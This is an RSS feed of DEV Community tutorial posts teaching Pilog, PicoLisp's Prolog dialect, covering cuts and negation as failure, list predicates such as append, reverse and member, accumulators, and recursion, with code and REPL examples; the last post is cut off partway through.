<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mia</title>
    <description>The latest articles on DEV Community by Mia (@miatemma).</description>
    <link>https://dev.to/miatemma</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F717005%2Fd5d427e4-71c9-4b9e-a7a2-893e9c9d20ca.png</url>
      <title>DEV Community: Mia</title>
      <link>https://dev.to/miatemma</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/miatemma"/>
    <language>en</language>
    <item>
      <title>Learning Pilog - 7: Cuts and Negations</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Tue, 02 Aug 2022 13:45:53 +0000</pubDate>
      <link>https://dev.to/miatemma/learning-pilog-7-cuts-and-negations-2hhh</link>
      <guid>https://dev.to/miatemma/learning-pilog-7-cuts-and-negations-2hhh</guid>
      <description>&lt;p&gt;Welcome to the last part of the Prolog Crash Course. Today we will talk about Cuts and Negations.&lt;/p&gt;

&lt;p&gt;This post is based on &lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch10"&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  What is a "Cut"?
&lt;/h3&gt;

&lt;p&gt;In the previous posts, we saw several examples of Prolog's backtracking behaviour. In some examples, we needed a lot of steps to travel the whole search tree. This can be inefficient, for example in cases where we &lt;strong&gt;know&lt;/strong&gt; that there is only a single legitimate solution and no need to search further.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;cut&lt;/strong&gt; operator &lt;code&gt;T&lt;/code&gt; is designed to control the backtracking behaviour in order to increase efficiency. Let's look at an example.&lt;/p&gt;




&lt;p&gt;We define a predicate &lt;code&gt;maxi/3&lt;/code&gt;: the first two arguments define a range of numbers, and the third argument is equal to the maximum value of these two.  In other words, this fact should return &lt;code&gt;T&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (maxi 5 1 5))
-&amp;gt; T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;while these ones are &lt;code&gt;NIL&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (maxi 2 3 2))
-&amp;gt; NIL
: (? (maxi 2 3 5))
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of course we can also query the maximum:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (maxi 2 3 @Max))
 @Max=3
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Now let's define &lt;code&gt;maxi&lt;/code&gt;. We want to compare two numbers &lt;code&gt;@X&lt;/code&gt; and &lt;code&gt;@Y&lt;/code&gt;. To do this, we can call a PicoLisp function. The corresponding clause has three parts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the &lt;code&gt;^&lt;/code&gt; symbol in the CAR,&lt;/li&gt;
&lt;li&gt;the PicoLisp program body in the CDDR,&lt;/li&gt;
&lt;li&gt;the variable to which the result is unified in the CADR.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be maxi (@X @Y @Y)
   (^ @ (&amp;lt;= @X @Y)) )  

(be maxi (@X @Y @X)
   (^ @ (&amp;gt; @X @Y)) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We don't really care for the result as such, this is why the variable &lt;code&gt;@&lt;/code&gt; is anonymous.&lt;/p&gt;




&lt;p&gt;Prolog tests two cases: first if &lt;code&gt;@X &amp;lt;= @Y&lt;/code&gt;, and then if &lt;code&gt;@X&amp;gt;@Y&lt;/code&gt;. Where is the problem? &lt;/p&gt;

&lt;p&gt;Our definition is not wrong, but it is unefficient. If the first clause already returns &lt;code&gt;T&lt;/code&gt;, there is actually no need to test for the second condition. The first and second clause are mutually &lt;strong&gt;exclusive&lt;/strong&gt;. In this case, the &lt;strong&gt;cut operator&lt;/strong&gt; comes in handy.&lt;/p&gt;




&lt;p&gt;With the following notation, we can tell Prolog to stop if the first clause evaluates to &lt;code&gt;T&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be maxi (@X @Y @Y)
   (^ @ (&amp;lt;= @X @Y))
   T)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This type of cut is called a &lt;strong&gt;green cut&lt;/strong&gt;, because there is no influence on the program output itself if you remove the cut symbol &lt;code&gt;T&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;On the other hand, &lt;strong&gt;red cuts&lt;/strong&gt; are cuts that causes a program change. These cuts can be dangerous and need to be tested well.&lt;/p&gt;




&lt;h3&gt;
  
  
  Negation as a failure
&lt;/h3&gt;

&lt;p&gt;There are &lt;a href="https://en.wikipedia.org/wiki/Negation_as_failure"&gt;two kinds of negations&lt;/a&gt; in formal logic. &lt;em&gt;Strong negation&lt;/em&gt; means that a statement is considered as false only if it can be proven to be false. On the other hand, &lt;em&gt;weak negation&lt;/em&gt; means that if a statement cannot be proven true, it is considered as false. Latter one is also called &lt;strong&gt;negation as a failure&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(In Prolog, this is implemented as **negation as failure&lt;/em&gt;* operator and can be written as &lt;code&gt;\+&lt;/code&gt;)*.&lt;/p&gt;




&lt;p&gt;Why do we need it? We can implement it to describe "except" statements, such as: "Mary likes all animals except insects". In Pilog, we can implement it using the cut operator and the built-in predicate &lt;code&gt;(fail)&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Mary likes all animals except insects.
(be likes (Mary @X)
   (insect @X)
   T
   (fail) )

(be likes (Mary @X)
   (animal @X) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;where animals are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be animal (@X) (insect @X))
(be animal (@X) (pet @X))
(be animal (@X) (cattle @X))

(be insect (Spider))
(be pet (Cat))
(be pet (Dog))
(be cattle (Cow))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's test it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (likes Mary Cat))
-&amp;gt; T

: (? (likes Mary Spider))
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Congratulations, with this post we have finished the Pilog introduction. In the next posts, we will see how we can embed it into PicoLisp and use it for database queries.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch10"&gt;http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch10&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>functional</category>
      <category>pilog</category>
    </item>
    <item>
      <title>Learning Pilog - 6: More Lists</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Sun, 17 Jul 2022 09:24:43 +0000</pubDate>
      <link>https://dev.to/miatemma/learning-pilog-6-more-lists-b2f</link>
      <guid>https://dev.to/miatemma/learning-pilog-6-more-lists-b2f</guid>
      <description>&lt;p&gt;In the last post, we showed how lists look like and discussed recursion concepts and the &lt;code&gt;member&lt;/code&gt; predicate. Today we will look into some further list functions: appending and reversing, and the concept of accumulators.&lt;/p&gt;

&lt;p&gt;This post is based on &lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch6"&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  The &lt;code&gt;append&lt;/code&gt; predicate
&lt;/h3&gt;

&lt;p&gt;Another built-in predicate in Pilog is the "append" predicate, which takes three arguments: The first two are the sublists and the third one is the concatenated list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (append (a b) (c) @X))
 @X=(a b c)
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's see how many possibilities we have to create &lt;code&gt;[a,b,c]&lt;/code&gt; out of two sublists:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (append @X @Y (a b c)))
 @X=NIL @Y=(a b c)
 @X=(a) @Y=(b c)
 @X=(a b) @Y=(c)
 @X=(a b c) @Y=NIL
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Let's now take a look at the definition of &lt;code&gt;append&lt;/code&gt; (you can find it in the &lt;code&gt;pilog.l&lt;/code&gt; library file of your PicoLisp installation). Like &lt;code&gt;member&lt;/code&gt;, it is defined recursively. The base case is appending a list &lt;code&gt;@L&lt;/code&gt; to an empty list &lt;code&gt;NIL&lt;/code&gt;, which means that the result is equal to the final list &lt;code&gt;@L&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be append (NIL @X @X))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we are at the base case, the resulting list is equal to the second argument. Now, if the first argument only had &lt;strong&gt;one&lt;/strong&gt; item &lt;code&gt;@A&lt;/code&gt;, the new list would be equal to the second argument (now called &lt;code&gt;@Y&lt;/code&gt;) prepended by the &lt;strong&gt;head&lt;/strong&gt; of of the first list, right? And this can be repeated recursively, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be append ((@A . @X) @Y (@A . @Z)) (append @X @Y @Z))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, to be precise, the (Prolog) predicate name &lt;code&gt;append&lt;/code&gt; was maybe not the best choice. &lt;code&gt;concatenated&lt;/code&gt; would have fit better (&lt;a href="https://www.swi-prolog.org/pldoc/man?predicate=append/3"&gt;see SWI prolog docs&lt;/a&gt;). Let's trace what is happening:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? append (append (a b) (c) @X))
2 (append (a b) (c) (a . @Z))
2 (append (b) (c) (b . @Z))
1 (append NIL (c) (c))
 @X=(a b c) 
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first list is reduced down to an empty list, then the second argument is set equal to the third argument. After that, the third argument is "filled up" until we reach the final result.&lt;/p&gt;

&lt;p&gt;As you can see, it works, but it takes a lot of steps and can become quite unefficient quickly. &lt;/p&gt;




&lt;h3&gt;
  
  
  The &lt;code&gt;reverse&lt;/code&gt;predicate
&lt;/h3&gt;

&lt;p&gt;Let's look at another predicate called &lt;code&gt;reverse&lt;/code&gt; (not built-in in pilog). It returns true if the elements of the first argument are in reverse order compared to the second argument:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (reverse (a b c) @X))
 @X = (c b a)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We could implement it using &lt;code&gt;append&lt;/code&gt; again with a recursive approach: starting from an empty list and then building it up by concatenating the head.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be reverse (NIL NIL))

(be reverse ((@A . @X) @R)
   (reverse @X @Z)
   (append @Z (@A) @R))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, due to the low efficiency of &lt;code&gt;append&lt;/code&gt;, this is not to be recommended. Let's find a better approach.&lt;/p&gt;




&lt;h3&gt;
  
  
  Using an accumulator
&lt;/h3&gt;

&lt;p&gt;A better idea is to use an &lt;strong&gt;accumulator&lt;/strong&gt; to solve this task. An accumulator is basically a list that "takes up" the elements that are processed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be accRev ((@H . @T) @A @R)
   (accRev @T (@H . @A) @R) )

(be accRev (NIL @A @A))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The result (which is the third argument) corresponds exactly to the reversed list. So all we need to do is then to define our &lt;code&gt;(reverse (@L @R))&lt;/code&gt; predicate as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be reverse (@L @R)
   (accRev @L NIL @R))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's trace it in order to check if it does what we think it does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? reverse accRev ( reverse (a b c) @X))
1 (reverse (a b c) @R)
1 (accRev (a b c) NIL @R)
1 (accRev (b c) (a) @R)
1 (accRev (c) (b a) @R)
2 (accRev NIL (c b a) (c b a))
 @X=(c b a)
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The advantage is that the result is directly available after the last step, while our "naive" reverse needed to travel the whole recursion tree back up.&lt;/p&gt;




&lt;h3&gt;
  
  
  Example: Palindrome Checker
&lt;/h3&gt;

&lt;p&gt;Speaking of reversed lists, one example should not be missing: How to write a simple palindrome checker. Actually we have all we need already except for the actual &lt;code&gt;palindrome&lt;/code&gt; predicate which only takes one argument, a list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be palindrome (@L)
   (reverse @L @L) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For &lt;code&gt;reverse&lt;/code&gt;, we can use one of our previously defined predicates. Let's test it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (palindrome ( r o t a t o r)))
-&amp;gt; T

: (? (palindrome ( a b c d e f g)))
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;You can find the sources for all examples &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/tree/main/pilog"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In the last post of the Prolog Crash Course series, we will take a look at "Cuts and Negations".&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.swi-prolog.org/pldoc/man?predicate=append/3"&gt;https://www.swi-prolog.org/pldoc/man?predicate=append/3&lt;/a&gt;  &lt;/p&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>pilog</category>
      <category>functional</category>
    </item>
    <item>
      <title>Learning Pilog - 5: Lists</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Thu, 14 Jul 2022 11:39:01 +0000</pubDate>
      <link>https://dev.to/miatemma/learning-pilog-5-lists-1akf</link>
      <guid>https://dev.to/miatemma/learning-pilog-5-lists-1akf</guid>
      <description>&lt;p&gt;Today we will talk about an important data structure which is often used in Pilog programming: Lists.&lt;/p&gt;

&lt;p&gt;This post is based on &lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch4"&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  What is a list in Pilog?
&lt;/h3&gt;

&lt;p&gt;Basically, it's the same like in PicoLisp: A sequence of elements. Here are some examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(John Vincent Jules  Yolanda)
(John (robber Honey_Bunny) @X 2 John)
()
( () (dead z) (2 (b c)) () @Z (2 (b c))) 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(the empty list &lt;code&gt;()&lt;/code&gt; is equivalent to &lt;code&gt;NIL&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;From the examples we learn:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;list elements can be a mix of data structures, like numbers (&lt;code&gt;2&lt;/code&gt;), variables (&lt;code&gt;@X&lt;/code&gt;, complex terms (&lt;code&gt;(dead @Z&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;a list can have duplicated values.&lt;/li&gt;
&lt;li&gt;an empty list is still a list.&lt;/li&gt;
&lt;li&gt;lists can be nested: &lt;code&gt;(2 (b c))&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;A list can be divided by the built-in dot operator &lt;code&gt;.&lt;/code&gt;. By default, it splits the list in two parts: the &lt;strong&gt;head&lt;/strong&gt;, which is the first element and the &lt;strong&gt;tail&lt;/strong&gt;, which is a list of the remaining elements.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (equal (@X . @Y) (John Vincent Jules Yolanda)))
 @X=John @Y=(Vincent Jules Yolanda)
-&amp;gt; NIL

: (? (equal (@X . @Y) (John Vincent)))
 @X=John @Y=(Vincent)
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, the tail of a list is always a list, even if there is only a single element inside. So, what is head and tail of an &lt;strong&gt;empty list&lt;/strong&gt;?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (equal (@X . @Y) ()))
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;An empty list can't be split up&lt;/strong&gt;.&lt;/p&gt;




&lt;p&gt;However, we don't always have to split up between the head and tail. We can also customize it further:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (equal (@X @Y . @W) (John Vincent Jules Yolanda)))
 @X=John @Y=Vincent @W=(Jules Yolanda)
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we have the first and second element stored in variables.&lt;/p&gt;

&lt;p&gt;Or, if we only cared for the third element and don't need all the rest, we could also use the &lt;em&gt;anonymous variable&lt;/em&gt; &lt;code&gt;@&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (equal (@ @ @Z . @) (John Vincent Jules Yolanda)))
 @Z=Jules
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  The &lt;code&gt;member&lt;/code&gt; predicate
&lt;/h3&gt;

&lt;p&gt;Pilog has a built-in predicate called &lt;code&gt;member&lt;/code&gt; which takes two arguments: an element and a list. The usage is pretty straightforward:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Query: Is &lt;code&gt;john&lt;/code&gt; a member of the list?
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (member John (John Vincent Jules Yolanda)))
-&amp;gt; T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Its function is defined in the &lt;code&gt;pilog.l&lt;/code&gt; library file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be member (@X (@X . @)))
(be member (@X (@ . @Y)) (member @X @Y))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These two lines use the &lt;strong&gt;recursive&lt;/strong&gt; structures of list to find out if an element is a member or not. How does it work? &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The first line merely checks if the first list element is equal to &lt;code&gt;@X&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The second element splits the list in &lt;strong&gt;head&lt;/strong&gt; and &lt;strong&gt;tail&lt;/strong&gt;. We know that the head is not &lt;code&gt;@X&lt;/code&gt;, otherwise we would have already received &lt;code&gt;T&lt;/code&gt; after the first line. So we can try our luck with the tail: &lt;code&gt;member @X @Y)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Example: A small Translator
&lt;/h3&gt;

&lt;p&gt;Let's say we have a "dictionary" with the numbers from one to nine in German and English:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be tran (eins one))
(be tran (zwei two))
(be tran (drei three))
(be tran (vier four))
(be tran (fuenf five))
(be tran (sechs six))
(be tran (sieben seven))
(be tran (acht eight))
(be tran (neun nine))
(be tran (zehn ten))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's write a Pilog script that translates a list of German number words to the corresponding list of English number words and vice versa. The structure should be like this: &lt;/p&gt;

&lt;p&gt;&lt;code&gt;(? (listtran (eins neun zwei) @X))&lt;/code&gt; should return &lt;code&gt;@X = (one nine two)&lt;/code&gt;, and &lt;code&gt;(? (listtran (@X (one nine two)))&lt;/code&gt; should return &lt;code&gt;@X=(eins zwei neun)&lt;/code&gt;.&lt;/p&gt;




&lt;p&gt;Let's implement our &lt;code&gt;listtran&lt;/code&gt; predicate. We start with the base case: The translation of an empty list - if we have nothing to translate, the translated side will also be empty. The empty list is equivalent to &lt;code&gt;NIL&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be listtran (NIL NIL))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's say we have exactly one item (which means it's the &lt;strong&gt;head&lt;/strong&gt; of the list). In this case, we can just look it up in our &lt;code&gt;tran&lt;/code&gt; dictionary that we defined above:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be listtran ((@Hg . @Tg) (@He . @Te))
   (tran @Hg @He)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;&lt;code&gt;@Hg/@Tg&lt;/code&gt; stands for &lt;code&gt;Head-German&lt;/code&gt;, &lt;code&gt;Tail-German&lt;/code&gt;, &lt;code&gt;@He/@Te&lt;/code&gt; for the English equivalent.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now we have the translation of the &lt;strong&gt;first&lt;/strong&gt; list element. The only thing we still need to do is travel down our list until the remaining list is empty.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be listtran (NIL NIL))

(be listtran ((@Hg . @Tg) . (@He  . @Te))
   (tran @Hg @He)
   (listtran @Tg @Te) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (listtran (eins zwei drei) @X))
 @X=(one two three)
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can find the finished script in &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/tree/main/pilog"&gt;this folder&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;In the next post, we will study recursive patterns for &lt;strong&gt;nested&lt;/strong&gt; lists.&lt;/p&gt;




&lt;h1&gt;
  
  
  Sources
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch4"&gt;http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch4&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>functional</category>
      <category>prolog</category>
    </item>
    <item>
      <title>Learning Pilog - 4: Recursion</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Mon, 13 Jun 2022 14:16:47 +0000</pubDate>
      <link>https://dev.to/miatemma/learning-pilog-4-recursion-50hm</link>
      <guid>https://dev.to/miatemma/learning-pilog-4-recursion-50hm</guid>
      <description>&lt;p&gt;In the last post, we discussed briefly the backtracking search algorithm. Let's explore this topic a little further as it's an important concept in Pilog programming.&lt;/p&gt;

&lt;p&gt;This post is based on &lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online"&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  A recursive example
&lt;/h3&gt;

&lt;p&gt;Let's illustrate the concept of recursion on a little silly example. Let's say we define two rules for &lt;code&gt;@X&lt;/code&gt; "digesting" &lt;code&gt;@Y&lt;/code&gt;: either &lt;code&gt;@X&lt;/code&gt; has just eaten &lt;code&gt;@Y&lt;/code&gt;, &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;@X&lt;/code&gt; has eaten something that has eaten &lt;code&gt;@Y&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be is_digesting (@X @Y)
   (just_ate @X @Y) )

(be is_digesting (@X @Y)
   (just_ate @X @Z)
   (is_digesting @Z @Y) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's travel up a whole food chain. A mosquito has been biting John. That mosquito got then eaten by a frog who got eaten by a stork.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be just_ate (Mosquito (blood John)))
(be just_ate (Frog Mosquito ))
(be just_ate (Stork Frog))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9zA8AUZY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635351747926/pt2fhV0Hu.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9zA8AUZY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635351747926/pt2fhV0Hu.gif" alt="giphy.gif" width="480" height="480"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Now, what is the Stork digesting? Let's ask Pilog!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:  (? (is_digesting Stork @X))
 @X=Frog
 @X=Mosquito
 @X=(Blood John)
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The stork is digesting a frog, a mosquito, and John's blood. Bon appetit!&lt;/p&gt;




&lt;h3&gt;
  
  
  The order matters
&lt;/h3&gt;

&lt;p&gt;The digestion example was pretty straightforward. However, one thing needs to be understood when we talk about recursion: The order matters - not for the underlying logic, but for the &lt;strong&gt;computation&lt;/strong&gt; in Pilog.&lt;/p&gt;

&lt;p&gt;We said, something is digesting &lt;code&gt;@X&lt;/code&gt; if:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;it has eaten &lt;code&gt;@X&lt;/code&gt; or &lt;/li&gt;
&lt;li&gt;has eating something that has eaten &lt;code&gt;@X&lt;/code&gt;. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From logic point of view, we could also reverse 1. and 2., and nothing will change.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be is_digesting (@X @Y)
   (just_ate @X @Z)
   (is_digesting @Z @Y) )

